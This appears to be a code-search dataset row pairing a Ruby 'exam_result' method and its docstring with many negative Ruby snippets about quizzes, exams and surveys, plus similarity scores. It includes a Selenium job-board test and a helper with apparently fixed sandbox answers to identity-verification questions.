rand(0...(@data.length-1))\n\t\t\tend\n\t\t\t$quiz_arr.push(@data[$randId]['id'])\n\t\t\t$i += 1\n\n\t\t\tif $i == 7\n\t\t\t\t$finish = true\n\t\t\tend\n\n\t\t\t@quest = @data[$randId]['question_name']\n\t\t\t@c_answer = @data[$randId]['c_answer']\n\t\t\t@alt1 = @data[$randId]['alt1']\n\t\t\t@alt2 = @data[$randId]['alt2']\n\t\t\t@alt3 = @data[$randId]['alt3']\n\t\t\t@imgurl = @data[$randId]['imgurl']\n\t\t\t@url = @data[$randId]['news_url']\n\t\t\t@cat = @data[$randId]['category_id']\n\t\t\t@hex = @data[$randId]['category_hex_code']\n\t\t\tget_descriptions(@url)\n\t\t\t@image = @desc_data['image']\n\n\t\t\t$answer_array = Array.new()\n\t \tend\n\tend", "def set_answer\n\t\t#@answer = Survey.find(params[:id])\n\tend", "def run_test(questions)\n answer = \"\"\n score = 0\n\n for question in questions\n puts question.prompt\n answer = gets.chomp().to_s\n if(answer == question.answer)\n score += 1\n end\n end\n\n puts \"You got #{score} questions correct out of #{questions.length()}\"\nend", "def all_answers_for(question)\n answers.select {|a| a.question == question}\n end", "def run_quiz\n self.questions_explanation\n self.display_questions\n self.skipped_questions_explanation\n self.skipped_questions\n self.answers_explanation\n self.display_results\n self.show_score\n end", "def set_exam\n @exam = @student.exams.find(params[:id])\n end", "def answers\n %w{Yes No Maybe Ask\\ again\\ later}\nend", "def show\n @question = Question.find(params[:id])\n @avatar = Avatar.find_by_user_id(@question.user_id)\n @user = User.find(@question.user_id)\n @answers = Question.findanswers(@question.id.to_s)\n @correctanswers = Question.findcorrectanswers(@question.id.to_s)\n @totalanswers = @answers.size + @correctanswers.size\n\t if current_user == @user\n @asker = true\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @exam = Exam.find(params[:id])\n @question = Question.new\n end", "def show\n chapterno = params[:chapter]|| \"all\"\n chapterno = chapterno.to_i\n @chapter_questions = (chapterno == 0 ? @course.questions : @course.questions.where(\"chapter >= #{chapterno} and chapter < #{chapterno+1}\").order(index_number: :desc))\n @chapternumbers = @course.questions.collect(&:chapter).uniq\n answerd = params[:answerd]|| \"all\"\n if answerd == \"false\"\n @chapter_questions = @chapter_questions.where(\"answer is null or answer=''\")\n elsif answerd == \"true\"\n @chapter_questions = @chapter_questions.where(\"answer is not null or answer<>''\")\n end\n\n @chapter_questions.order(index_number: :desc)\n\n\n end", "def question(*args)\n distract = Array.new\n args[1].keys.each { |x| distract << args[1][x] if x.class.equal? Array }\n exam << Pregunta.new(:text => args[0], :right => args[1][:right], :distractors => distract)\n exam\n end", "def test_AnswerQuestionsFromQuestionSet\n randomName = SecureRandom.hex(4)\n randomReq = SecureRandom.hex(4)\n \n randomEmail = SecureRandom.hex(4) \n randomLastName = SecureRandom.hex(4)\n \n #PRECONDITION: Must be logged in\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n \n current_url = $browser.current_url\n \n #Create an empty Question Sets\n self.CreateQuestionSetEmpty(randomName)\n \n $wait.until{\n $browser.find_element(:xpath => QuestionSetsDetail::QUESTION_SETS_DETAIL_NEW_QUESTION_XPATH).displayed? \n }\n \n # Click on \"New Question\"\n Common.click_and_load(QuestionSetsDetail::QUESTION_SETS_DETAIL_NEW_QUESTION_XPATH)\n $wait.until{\n $browser.find_element(:xpath => QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_NAME_XPATH).displayed?\n }\n $wait.until{\n $browser.find_element(:xpath => QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_QUESTION_XPATH).displayed?\n } \n \n # Fill all the fields\n $browser.find_element(:xpath => QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_NAME_XPATH).send_keys QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_NAME_TEXT_XPATH\n $browser.find_element(:xpath => QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_ORDER_XPATH).send_keys QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_ORDER_INT_XPATH\n $browser.find_element(:xpath => QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_QUESTION_XPATH).send_keys QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_NAME_TEXT_XPATH\n elementText = $browser.find_element(:xpath => QuestionDetailPage::QUESTION_DETAIL_TEXT_XPATH)\n if elementText.attribute(\"checked\")\n $browser.find_element(:xpath => QuestionSetsQuestionBuilder::QUESTION_SETS_QUESTION_BUILDER_TEXT_XPATH).click\n end\n elementOptional = $browser.find_element(:xpath => QuestionDetailPage::QUESTION_DETAIL_OPTIONAL_XPATH)\n if elementOptional.attribute(\"checked\")\n $browser.find_element(:xpath => QuestionSetsQuestionBuilder::QUESTION_SETS_QUESTION_BUILDER_OPTIONAL_XPATH).click\n end\n \n # Click on \"Save\"\n Common.click_and_load(QuestionSetsNewQuestion::QUESTION_SETS_NEW_QUESTION_BTN_SAVE_XPATH)\n \n #Add Answers\n $wait.until{\n $browser.find_element(:xpath => QuestionDetailPage::QUESTION_DETAIL_NEW_ANSWER_XPATH).displayed?\n }\n Common.click_and_load(QuestionDetailPage::QUESTION_DETAIL_NEW_ANSWER_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_BTN_SAVE_XPATH) \n \n Common.displayed(AnswerEditPage::ANSWER_EDIT_NAME_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_ANSWER_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_ORDER_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_SCORE_XPATH) \n \n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_NAME_XPATH).send_keys AnswerEditPage::ANSWER_DATA_NAME_1_TEXT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_ANSWER_XPATH).send_keys AnswerEditPage::ANSWER_DATA_NAME_1_TEXT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_ORDER_XPATH).send_keys AnswerEditPage::ANSWER_DATA_ORDER_1_INT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_SCORE_XPATH).send_keys AnswerEditPage::ANSWER_DATA_SCORE_1_INT\n Common.click_and_load(AnswerEditPage::ANSWER_EDIT_BTN_SAVE_NEW_XPATH)\n Common.displayed(AnswerEditPage::ANSWER_EDIT_BTN_SAVE_XPATH) \n \n Common.displayed(AnswerEditPage::ANSWER_EDIT_NAME_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_ANSWER_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_ORDER_XPATH) \n Common.displayed(AnswerEditPage::ANSWER_EDIT_SCORE_XPATH) \n \n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_NAME_XPATH).send_keys AnswerEditPage::ANSWER_DATA_NAME_2_TEXT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_ANSWER_XPATH).send_keys AnswerEditPage::ANSWER_DATA_NAME_2_TEXT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_ORDER_XPATH).send_keys AnswerEditPage::ANSWER_DATA_ORDER_2_INT\n $browser.find_element(:xpath => AnswerEditPage::ANSWER_EDIT_SCORE_XPATH).send_keys AnswerEditPage::ANSWER_DATA_SCORE_2_INT\n \n Common.click_and_load(AnswerEditPage::ANSWER_EDIT_BTN_SAVE_XPATH)\n Common.displayed(AnswerDetailPage::ANSWER_DETAIL_BACK_TO_QUESTION_XPATH)\n \n # Create Job with Question Set asociated\n Common.goToTab(HomePage::REQUISITIONS_LINK_XPATH)\n $wait.until{\n $browser.find_element(:xpath => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH).displayed?\n }\n Common.click_and_load(RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH) \n $wait.until{\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_CONTINUE_XPATH).displayed?\n }\n Common.click_and_load(RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_CONTINUE_XPATH) \n $wait.until{\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_QUESTIONS_SET_XPATH).displayed?\n }\n $browser.find_element(:id => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_ID).send_keys randomReq\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH).send_keys RequisitionsNewAndEdit::REQUISITIONS_NEW_DATA_PRIMARY_RECRUITER_TEXT\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH).send_keys RequisitionsNewAndEdit::REQUISITIONS_NEW_DATA_LOCATION_TEXT\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_OPTION_XPATH).click\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH).send_keys RequisitionsNewAndEdit::REQUISITIONS_NEW_DATA_MIN_SALARY_TEXT\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH).send_keys RequisitionsNewAndEdit::REQUISITIONS_NEW_DATA_MAX_SALARY_TEXT\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_QUESTIONS_SET_XPATH).send_keys randomName\n unless $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_POST_JOB_BOX_XPATH).attribute(\"checked\")\n $browser.find_element(:xpath => RequisitionsNewAndEdit::REQUISITIONS_NEW_POST_JOB_BOX_XPATH).click\n end\n \n Common.click_and_load(RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH)\n \n #JobBoard without login\n CustomSettings.JobBoardLogin(false)\n \n Common.goToTab(HomePage::BOARD_SETUP_TAB_LINK_XPATH)\n Common.displayed(BoardSetupHomePage::CAREERS_LINK_LIST_XPATH)\n Common.click_and_load(BoardSetupHomePage::CAREERS_LINK_LIST_XPATH)\n CustomSettings.BoardSetupInit\n CustomSettings.ResumeRequired(false)\n CustomSettings.DefineEEOQuestions(false, false, false, false, false)\n \n # Go to Job Board\n $browser.get(HomePage::JOB_BOARD_URL)\n \n # 1 - Apply to a job from the job board site, with Question Set asociated.\n $browser.get(HomePage::JOB_BOARD_URL)\n $wait.until{\n $browser.find_element(:xpath => JobBoardHomePage::JOB_BOARD_RETURN_TO_SEARCH_XPATH).displayed?\n }\n Common.click_and_load(JobBoardHomePage::JOB_BOARD_JOB_LIST_XPATH + \"//*[text()[contains(.,'\" + randomReq + \"')]]\") \n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_LINK_XPATH).displayed?\n }\n Common.click_and_load(JobBoardJobDetail::JOB_BOARD_APPLY_JOB_LINK_XPATH) \n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_EMAIL_XPATH).displayed?\n }\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_EMAIL_XPATH).send_keys randomEmail + Users::EMAIL_DOMAIN\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_FIRST_NAME_XPATH).send_keys randomEmail\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_LAST_NAME_XPATH).send_keys randomLastName\n \n #If How did you hear about us? is displayed\n begin\n aboutUsSelect = $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_HEAR_ABOUT_US_XPATH).displayed?\n rescue\n aboutUsSelect = false\n end \n if aboutUsSelect\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_HEAR_ABOUT_US_XPATH).send_keys \"Job Board\"\n end\n Common.click_and_load(JobBoardJobDetail::JOB_BOARD_APPLY_JOB_CONTINUE_XPATH) \n \n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_RETURN_JOBSEARCH_XPATH).displayed?\n }\n begin\n continue_button = $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_CONTINUE_XPATH).displayed?\n rescue\n continue_button = false\n end \n if continue_button\n Common.click_and_load(JobBoardJobDetail::JOB_BOARD_APPLY_JOB_CONTINUE_XPATH)\n end\n \n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_RETURN_JOBSEARCH_XPATH).displayed?\n }\n begin\n continue_button = $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_CONTINUE_XPATH).displayed?\n rescue\n continue_button = false\n end \n if continue_button\n Common.click_and_load(JobBoardJobDetail::JOB_BOARD_APPLY_JOB_CONTINUE_XPATH)\n end\n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_SUBMIT_XPATH).displayed?\n } \n \n \n # 2 - Answer questions\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_QUESTIONS_SET_QUESTION_1_INPUT_XPATH + \"//select\").send_keys AnswerEditPage::ANSWER_DATA_NAME_1_TEXT\n \n # 3 - Click on Submit\n Common.click_and_load(JobBoardJobDetail::JOB_BOARD_QUESTIONS_SET_BTN_SUBMIT_XPATH)\n \n $wait.until{\n $browser.find_element(:xpath => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_RETURN_JOBSEARCH_XPATH).displayed?\n }\n \n $browser.get(current_url)\n # Click on Tab \"Question Sets\"\n Common.goToTab(HomePage::QUESTION_SETS_LINK_XPATH)\n $wait.until{\n $browser.find_element(:xpath => QuestionSetsHomePage::QUESTION_SETS_HOME_BTN_NEW_XPATH).displayed?\n }\n \n # Click on previously created Question Set's name from the list\n Common.click_and_load(QuestionSetsHomePage::QUESTION_SET_LIST_XPATH + \"//*[text()[contains(.,'\" + randomName + \"')]]\")\n $wait.until{\n $browser.find_element(:xpath => QuestionSetsDetail::QUESTION_SETS_DETAIL_NEW_QUESTION_XPATH).displayed? \n } \n \n assert $wait.until{\n $browser.find_element(:xpath => QuestionSetsDetail::QUESTION_SET_DETAIL_PRESCREENS_FIRST_XPATH).displayed?\n }\n \n Common.click_and_load(QuestionSetsDetail::QUESTION_SET_DETAIL_PRESCREENS_FIRST_APPLICATION_XPATH)\n $wait.until{\n $browser.find_element(:xpath => ApplicationsDetailPage::APPLICATIONS_DETAIL_PRESCREEN_1_XPATH).displayed?\n }\n assert $wait.until{\n $browser.find_element(:xpath => ApplicationsDetailPage::APPLICATIONS_DETAIL_JOB_TEXT_XPATH + \"[//*[text()[contains(.,'\" + randomReq + \"')]]]\").displayed?\n $browser.find_element(:xpath => ApplicationsDetailPage::APPLICATIONS_DETAIL_PRESCREEN_1_XPATH).displayed?\n } \n \n end", "def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def all_answered_questions\n self.all_answered_options.map{ |answer| answer.question }\n end", "def answer\n params[:answers].each do |question_id, value|\n answer = Answer.find_or_initialize_by_question_id_and_user_id(question_id, current_user.id)\n answer.content = value[:content]\n answer.save\n end if params[:answers]\n\n survey = Survey.find(params[:id])\n redirect_to survey.next_url || root_url, :notice => survey.confirmation\n end", "def get_correct_answer(question_prompt, answers)\n question_prompt = question_prompt.downcase\n answer = nil\n case question_prompt\n when /which number goes with your street on/\n answer = answers[answers.index('3612') || answers.index('5555') || answers.index('None of the above')]\n when /which street have you lived on/\n answer = answers[answers.index('BEACH') || answers.index('None of the above') || 0]\n when /in which city is/\n answer = answers[answers.index('ATLANTA') || answers.index('None of the above')]\n when /in which county was your/\n answer = answers[answers.index('FULTON') || answers.index('None of the above')]\n when /what year is your/\n answer = answers[answers.index('2005')]\n when /which of the following people do you know/\n answer = answers[answers.index('ANTHONY BROWN') || answers.index('None of the above')]\n when /in wich year were you born/\n answer = answers[answers.index('1975')]\n when /what type of residence is/\n answer = answers[answers.index('Single Family Residence')]\n when /in which month month were you born/\n answer = answers[answers.index('FEBRUARY')]\n when /in which county have you lived/\n answer = answers[answers.index('FULTON') || answers.index('None of the above')]\n when /what are the last two digits of your social security number/\n answer = answers[answers.index('33')]\n when /at which of the following addresses have you lived/\n answer = answers[answers.index('None of the above')]\n when /which person is not a relative or someone that you know/\n answer = answers.grep(/SMITH/).first\n when /with which name are you associated/\n answer = answers[answers.index('None of the above')]\n when /what are the first two digits of your social security number/\n answer = answers[answers.index('11') || answers.index('None of the above')]\n when /which of the following phone numbers is related to you/\n answer = answers[answers.index('None of the above')]\n when /from whom did you purchase the property at/\n answer = answers[answers.index('JOE ANDERSON') || answers.index('None of the above')]\n when /how long have you been associated with the property at/\n answer = answers[answers.index('Over 5 years')]\n when /what is the approximate square footage of the property at/\n answer = answers[answers.index('Over 2,500')]\n when /when did you purchase the property at/\n answer = answers[answers.index('August 1999') || answers.index('None of the above')]\n when /between/ && /in which state did you live/\n answer = answers[answers.index('NEW YORK')]\n when /when did you purchase or lease your/\n answer = answers[answers.index('December 2006')]\n when /with which name are you associated/\n answer = answers[answers.index('None of the above')]\n end\n answer\n end", "def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end" ]
[ "0.71127754", "0.7039764", "0.6930175", "0.68301004", "0.681634", "0.676265", "0.6695201", "0.6671346", "0.6658527", "0.66309214", "0.66309214", "0.66185904", "0.6578523", "0.6575479", "0.6536835", "0.65213466", "0.6467937", "0.6463808", "0.6453757", "0.64475524", "0.6426967", "0.63994277", "0.6386444", "0.6386172", "0.6380019", "0.6377003", "0.63753605", "0.63749933", "0.6345685", "0.6307921", "0.63018537", "0.6295395", "0.6292509", "0.6291663", "0.6284974", "0.62754476", "0.6269646", "0.62545544", "0.6254417", "0.6240708", "0.6237476", "0.62301594", "0.62244236", "0.6214018", "0.6214018", "0.6208541", "0.6198218", "0.61824596", "0.61784774", "0.6169112", "0.6161863", "0.6153365", "0.61288977", "0.61237687", "0.6123033", "0.61219907", "0.61116004", "0.6111559", "0.6105648", "0.6102924", "0.60962534", "0.60917485", "0.6090678", "0.60647005", "0.6064239", "0.60551775", "0.60424924", "0.6038766", "0.603376", "0.60289425", "0.60285854", "0.6025001", "0.6022795", "0.60194343", "0.6016808", "0.6014738", "0.59770733", "0.59580463", "0.59559417", "0.5955062", "0.5951372", "0.59470147", "0.5944795", "0.59437853", "0.5939786", "0.59376746", "0.5930933", "0.59308517", "0.59292823", "0.5919026", "0.5914311", "0.59105384", "0.5905026", "0.58973616", "0.5896559", "0.5892536", "0.5888685", "0.5883974", "0.58815306", "0.58787423" ]
0.7520396
0
name: exam_result explanation: this method list result of the exam of enemamigo parameters: none
def exam_result if params[:exam_id] @exam = Exam.find(params[:exam_id]) assert(exam.kind_of?(Exam)) @exam = fill_user_answers(@exam) current_user.exams_total_questions += @exam.questions.count current_user.update_attribute(:exam_performance, current_user.exam_performance + [@exam.accepted_answers]) @exam.save return @exam.user_answers else return redirect_to_back flash[:danger] = t(:exam_message) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def result\n @exam = current_exam(params)\n\n @exam_reporter = @exam.evaluate(params[:answers])\n end", "def exam_details(ex)\n exams_data = ex.exams.all\n flag = false\n exams_data.each do |exam|\n exam.exam_scores.each do |es|\n flag = true if es.is_failed?\n end\n exams << exam if flag == true\n end\n exams\n end", "def set_results\n @exam = Exam.find(params[:exam_id])\n end", "def exam_data(subject)\n Exam.result(subject.id, id)\n end", "def myquizze_results\n @current_user = get_logged_user\n if @quizze_instance = @current_user.get_latest_quizze_instance\n @quizze = @quizze_instance.get_quizze\n @sorted_affinities = @quizze_instance.sorted_affinities\n @explanations, @hash_dimension2answers, @hash_question_idurl2min_max_weight = @quizze_instance.get_explanations(@current_knowledge, @sorted_affinities)\n else\n redirect_to(\"/quizzes\") # select a quizz first !\n end\n end", "def show\n @exam_result = Xmt::Test::ExamResult.find(params[:id])\n @total_marks = @exam_result.question_scores.sum(:marks)\n end", "def result\n @results_data = Answer.get_results(params[:code], current_user[\"id\"])\n end", "def index\n @rand_exams = Xmt::Test::RandExam.all\n end", "def exec\n question = Question.find(self.question_id)\n tmp = Time.now.to_i\n\n\t\t# Compila a resposta\n compile_result = Judge::compile(self.lang,self.response,tmp)\n\n\t\t# Verifica se houve erro de compilacao\n if compile_result[0] != 0\n self.compile_errors = compile_result[1]\n self.correct = false\n else\n\n\t\t\t# Se compilou, executa os casos de teste.\n correct = Judge::test(lang,compile_result[1],question.test_cases,tmp)\n\n self.results = Hash.new\n self.correct = true\n\t\t\t# para cada caso de teste salva os dados retornados\n\t\t\t# os dados retornados estarao na variavel 'r'\n\t\t\t# cada caso de teste tem seus dados armazenados no hash 'results'\n correct.each do |id,r|\n\n self.results[id] = Hash.new\n self.results[id][:error] = false\n self.results[id][:diff_error] = false\n self.results[id][:time_error] = false\n self.results[id][:exec_error] = false\n self.results[id][:presentation_error] = false\n self.results[id][:content] = question.test_cases.find(id).content\n\n self.results[id][:title] = question.test_cases.find(id).title\n self.results[id][:show_input_output] = question.test_cases.find(id).show_input_output\n\n if question.test_cases.find(id).show_input_output\n self.results[id][:input] = r[1][0]\n self.results[id][:output_expected] = r[1][1]\n end\n\n self.results[id][:output] = r[1][2]\n self.results[id][:id] = id\n\n\t\t\t\t# cada erro possui um numero de identificacao\n if r[0] == 3\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:diff_error] = true\n elsif r[0] == 2\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:presentation_error] = true\n elsif r[0] == 143 || r[0] == 141\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:time_error] = true\n elsif r[0] != 0\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:exec_error] = true\n end\n\n\t\t\t\t# se o numero de tentativas for suficiente para mostrar dicas, salva a dica na resposta do caso de teste.\n if Answer.where(user_id: self.user_id, question_id: self.question_id, correct: false, compile_errors: nil).count >= question.test_cases.find(id).tip_limit-1 || self.correct\n self.results[id][:tip] = question.test_cases.find(id).tip\n end\n\n #self.results[id][:output2] = simple_format r[1][0]\n end\n end\n true\n end", "def set_exam_result\n @exam_result = ExamResult.find(params[:id])\n end", "def exams_statistics\n end", "def evaluando_resultados\n screen_name(\"#{@task.class.to_s}/evaluando_resultados\")\n\n @am_result = AmResult.where(\"ot_id = #{@ot.id}\").order(\"run_date DESC\").first\n\n respond_to do |format|\n format.html { render action: \"evaluando_resultados\" }\n format.json { head :ok }\n end\n end", "def answer_exam\n if params[:year_exam] \n questions ||= Question.where(year: params[:year_exam])\n assert(questions.kind_of?(Question))\n else\n questions ||= Question.all\n assert(questions.kind_of?(Question))\n end\n\n if !questions.empty?\n auxiliar_exam ||= push_questions_auxiliar(questions)\n @exam = push_questions(auxiliar_exam)\n else\n redirect_to_back(select_exam_path)\n if params[:year_exam]\n flash[:danger] = t(:year_exam_not_found)\n else\n flash[:danger] = t(:exam_not_found)\n end\n end\n end", "def examine\n if @examination_result.nil?\n @examination_result = run_examination\n else\n @examination_result\n end\n end", "def index\n @test_example_results = TestExampleResult.all\n end", "def index\n @exam_results = ExamResult.order(:week_s => :desc).first(200)\n @exam_results_all = ExamResult.all\n\n @exam_results_weeks = ExamResult.count(:week_s)\n @exams_results_exams = ExamResult.sum(:taken)\n end", "def results\n ab_test_results.map { |result| [ result.ab_test.name, result.ab_test_option.name ] }.to_hash\n end", "def build_result(question, evaluation_result, graded_test_case_types:)\n auto_grading = build_auto_grading(question, evaluation_result)\n graded_test_count = question.test_cases.where(test_case_type: graded_test_case_types).size\n passed_test_count = count_passed_test_cases(auto_grading, graded_test_case_types)\n\n considered_correct = check_correctness(question, auto_grading)\n grade = if graded_test_count == 0\n question.maximum_grade\n else\n question.maximum_grade * passed_test_count / graded_test_count\n end\n [considered_correct, grade, auto_grading, evaluation_result.evaluation_id]\n end", "def build_result(question, evaluation_result, graded_test_case_types:)\n auto_grading = build_auto_grading(question, evaluation_result)\n graded_test_count = question.test_cases.where(test_case_type: graded_test_case_types).size\n passed_test_count = count_passed_test_cases(auto_grading, graded_test_case_types)\n\n considered_correct = check_correctness(question, auto_grading)\n grade = if graded_test_count == 0\n question.maximum_grade\n else\n question.maximum_grade * passed_test_count / graded_test_count\n end\n [considered_correct, grade, auto_grading, evaluation_result.evaluation_id]\n end", "def results; end", "def results; end", "def results; end", "def show_result\n real_answers = @answer_list.collect {|i| @answers[i]}\n @story_parts.zip(real_answers).flatten.compact.join\n end", "def index\n @examquestions = Examquestion.all\n end", "def show\n result = Result.find_by_result_name(params[:id])\n @practical = result.practical\n @result_name = result.result_name\n\n if @practical\n @match_data = result.data\n @percentages = result.percentages\n session[:multiple_data] = nil\n else\n @percentage = result.data.first\n @user_1 = UserData.find_by(username: result.data.second)\n @user_2 = UserData.find_by(username: result.data.third)\n\n @date_ideas = Array.new\n if result.data.first == 0\n @date_ideas << \"Nothing...\"\n else\n result.data.fourth[0..2].each do |obj|\n @date_ideas << obj\n end\n end\n\n session[:compatability_data] = nil\n end\n end", "def results\n @study = Study.find(params[:study_id])\n if ExtractionFormSection.section_is_included(\"results\", @study.id, params[:extraction_form_id])\n @ef = ExtractionForm.find(params[:extraction_form_id])\n @extraction_form_id = @ef.id\n @is_diagnostic = ExtractionForm.is_diagnostic?(@ef.id)\n # if this is an RCT extraction form, get the existing outcome data entries\n # and any comparison information that go along with them. \n if !@is_diagnostic\n @existing_results = @study.get_existing_results_for_session(@ef.id)\n ocdes = @study.get_data_entries\n @existing_comparisons = OutcomeDataEntry.get_existing_comparisons_for_session(ocdes)\n @study_arms = Arm.find(:all, :conditions=>[\"study_id = ? AND extraction_form_id=?\",@study.id, @ef.id], :order=>\"display_number ASC\", :select=>[\"id\",\"title\",\"description\",\"display_number\",\"extraction_form_id\",\"note\",\"default_num_enrolled\",\"is_intention_to_treat\"])\n # if this is a diagnostic test form, get only the comparison information associated\n # with the results\n else\n @existing_results = []\n @existing_comparisons = []\n comparisons = @study.get_comparison_entries\n @study_arms = nil\n @existing_comparisons, @existing_comparators = OutcomeDataEntry.get_existing_diagnostic_comparisons_for_session(comparisons)\n end\n\n makeStudyActive(@study)\n session[:project_id] = @study.project_id\n @study_extforms = StudyExtractionForm.where(:study_id => @study.id)\n\n @project = Project.find(params[:project_id])\n model = @ef.is_diagnostic == true ? \"DiagnosticTest\" : \"Arm\"\n puts \"\\n\\n-----------------\\n\\nStudy: #{@study.id}\\nEF: #{@ef.id}\\n\\n\"\n @arms_or_tests = model.constantize.where(:study_id=>@study.id, :extraction_form_id=>@ef.id)\n @outcomes = Outcome.find(:all, :conditions=>[\"study_id=? AND extraction_form_id=?\",@study.id, @ef.id], :order=>[\"outcome_type ASC, title ASC\"])\n @cont_outcomes = @outcomes.select{|x| x.outcome_type == \"Continuous\"}\n @cat_outcomes = @outcomes.select{|x| x.outcome_type == \"Categorical\"}\n @survival_outcomes = @outcomes.select{|x| [\"Survival\",\"Time to Event\"].include?(x.outcome_type)}\n\n # FLAG TO NOT SHOW OUTCOME EDIT OPTIONS ON THE OUTCOME LIST\n @noedits = true\n # @cont_outcomes = Outcome.find(:all, :conditions=>[\"study_id=? AND outcome_type=? AND extraction_form_id=?\",@study.id,\"Continuous\",@ef.id],:select=>[\"id\",\"title\",\"units\",\"description\",\"extraction_form_id\"])\n # @cat_outcomes = Outcome.find(:all, :conditions=>[\"study_id=? AND outcome_type=? AND extraction_form_id=?\",@study.id,\"Categorical\",@ef.id],:select=>[\"id\",\"title\",\"units\",\"description\",\"extraction_form_id\"])\n # @survival_outcomes = Outcome.find(:all, :conditions=>[\"study_id=? AND outcome_type IN (?) AND extraction_form_id=?\",@study.id,[\"Survival\",\"Time to Event\"],@ef.id],:select=>[\"id\",\"title\",\"units\",\"description\",\"extraction_form_id\"])\t\t\n @timepoints_hash = Outcome.get_timepoints_hash(@cont_outcomes + @cat_outcomes)\n\n # GET THE SUBGROUPS ASSOCIATED WITH THESE OUTCOMES\n @outcomes = @cont_outcomes + @cat_outcomes + @survival_outcomes\n @outcome_subgroups = Outcome.get_subgroups_by_outcome(@outcomes)\n puts \"OUTCOME SUBGROUPS KEYS IS #{@outcome_subgroups.keys.join(\", \")} AND THE VALUE FOR THIS ONE IS #{@outcome_subgroups[\"90\"]}\\n\\n\"\n @subgroups = @outcome_subgroups.to_json\n else\n flash[\"error\"] = \"That section is not included in the current extraction form.\"\n redirect_to edit_project_study_path(params[:project_id], @study.id)\t\t\t\t\n end\n render :layout=>false\n end", "def result_msg\n msgs = []\n results.each { |re| msgs.push(re[:msg]) unless re[:passed]}\n msgs\n end", "def exam_scores(exam)\n ExamScore.where(exam_id: 